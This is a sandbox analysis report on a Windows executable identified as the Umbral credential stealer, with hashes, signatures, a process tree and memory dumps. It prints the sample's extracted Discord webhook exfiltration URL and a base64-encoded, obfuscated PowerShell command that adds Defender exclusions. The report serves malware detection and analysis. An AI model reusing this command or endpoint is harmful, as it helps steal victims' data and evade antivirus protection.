umbral | 68d09f04adfbf4e1f6735771a83da8b3869e236dc2154bb3ae89ccc03e10abf4

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
12-02-2024 02:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

idk2.exe
Size

235KB
MD5

d68fd8be41d485b139ea640cabdf67f5
SHA1

84b9aaf719f73475cd38734229bd3bba02ddbf71
SHA256

68d09f04adfbf4e1f6735771a83da8b3869e236dc2154bb3ae89ccc03e10abf4
SHA512

b457364be0e9ec42cdf1d486ed2ce54e8f1df309fd817fc708802476b37b6b630b9dcbf334d7476c9b83e9ccb06df66a2eed4afad42b50d3d7a64c95adc8df4d
SSDEEP

6144:7eWRxYAv9MFiTC6SxlcACBT+jAtGSAdd2ylRHnry6oYCX:711MFUuxDGwJd2ylhnG6oYCX

Score

10^/10

umbral stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1204944287041847307/aoa_S28cr8V4g11xswAZC9SdvRJS8ygczDK-GfItmMFXCcL2edroJI5lraSE-OISlf6d

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000a000000014825-5.dat	family_umbral
behavioral1/memory/2884-6-0x00000000000E0000-0x0000000000120000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Executes dropped EXE 1 IoCs

pid	Process
2884	Umbral.exe

Loads dropped DLL 1 IoCs

pid	Process
3040	idk2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2884	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2568	wmic.exe
Token: SeSecurityPrivilege	2568	wmic.exe
Token: SeTakeOwnershipPrivilege	2568	wmic.exe
Token: SeLoadDriverPrivilege	2568	wmic.exe
Token: SeSystemProfilePrivilege	2568	wmic.exe
Token: SeSystemtimePrivilege	2568	wmic.exe
Token: SeProfSingleProcessPrivilege	2568	wmic.exe
Token: SeIncBasePriorityPrivilege	2568	wmic.exe
Token: SeCreatePagefilePrivilege	2568	wmic.exe
Token: SeBackupPrivilege	2568	wmic.exe
Token: SeRestorePrivilege	2568	wmic.exe
Token: SeShutdownPrivilege	2568	wmic.exe
Token: SeDebugPrivilege	2568	wmic.exe
Token: SeSystemEnvironmentPrivilege	2568	wmic.exe
Token: SeRemoteShutdownPrivilege	2568	wmic.exe
Token: SeUndockPrivilege	2568	wmic.exe
Token: SeManageVolumePrivilege	2568	wmic.exe
Token: 33	2568	wmic.exe
Token: 34	2568	wmic.exe
Token: 35	2568	wmic.exe
Token: SeIncreaseQuotaPrivilege	2568	wmic.exe
Token: SeSecurityPrivilege	2568	wmic.exe
Token: SeTakeOwnershipPrivilege	2568	wmic.exe
Token: SeLoadDriverPrivilege	2568	wmic.exe
Token: SeSystemProfilePrivilege	2568	wmic.exe
Token: SeSystemtimePrivilege	2568	wmic.exe
Token: SeProfSingleProcessPrivilege	2568	wmic.exe
Token: SeIncBasePriorityPrivilege	2568	wmic.exe
Token: SeCreatePagefilePrivilege	2568	wmic.exe
Token: SeBackupPrivilege	2568	wmic.exe
Token: SeRestorePrivilege	2568	wmic.exe
Token: SeShutdownPrivilege	2568	wmic.exe
Token: SeDebugPrivilege	2568	wmic.exe
Token: SeSystemEnvironmentPrivilege	2568	wmic.exe
Token: SeRemoteShutdownPrivilege	2568	wmic.exe
Token: SeUndockPrivilege	2568	wmic.exe
Token: SeManageVolumePrivilege	2568	wmic.exe
Token: 33	2568	wmic.exe
Token: 34	2568	wmic.exe
Token: 35	2568	wmic.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2108	3040	idk2.exe	28
PID 3040 wrote to memory of 2108	3040	idk2.exe	28
PID 3040 wrote to memory of 2108	3040	idk2.exe	28
PID 3040 wrote to memory of 2108	3040	idk2.exe	28
PID 3040 wrote to memory of 2884	3040	idk2.exe	30
PID 3040 wrote to memory of 2884	3040	idk2.exe	30
PID 3040 wrote to memory of 2884	3040	idk2.exe	30
PID 3040 wrote to memory of 2884	3040	idk2.exe	30
PID 2884 wrote to memory of 2568	2884	Umbral.exe	32
PID 2884 wrote to memory of 2568	2884	Umbral.exe	32
PID 2884 wrote to memory of 2568	2884	Umbral.exe	32

C:\Users\Admin\AppData\Local\Temp\idk2.exe
"C:\Users\Admin\AppData\Local\Temp\idk2.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAcABpACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAdQB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZgBiACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
230KB

MD5
009a51785bd54b63d28cdb374b8d1ece

SHA1
50cb71de5001b403eb54091669ae6898cc9ba72d

SHA256
4676596a95f354bdcd99548f7fdcaef5f84e291f21d9744548dec99551db81c3

SHA512
a5125cf0662caf5b595b4540e241fc6a2a5463bed25ee3c68b0350f2be4c1ed2b62eb96d37ecb8e40751403e56c81d8fc0989909052df36397d2080deefb36f8

Download Submit
memory/2108-10-0x0000000074620000-0x0000000074BCB000-memory.dmp

Filesize
5.7MB

Download
memory/2108-11-0x0000000002990000-0x00000000029D0000-memory.dmp

Filesize
256KB

Download
memory/2108-12-0x0000000074620000-0x0000000074BCB000-memory.dmp

Filesize
5.7MB

Download
memory/2108-14-0x0000000074620000-0x0000000074BCB000-memory.dmp

Filesize
5.7MB

Download
memory/2884-6-0x00000000000E0000-0x0000000000120000-memory.dmp

Filesize
256KB

Download
memory/2884-9-0x000007FEF5E90000-0x000007FEF687C000-memory.dmp

Filesize
9.9MB

Download
memory/2884-13-0x000000001B1A0000-0x000000001B220000-memory.dmp

Filesize
512KB

Download
memory/2884-29-0x000007FEF5E90000-0x000007FEF687C000-memory.dmp

Filesize
9.9MB

Download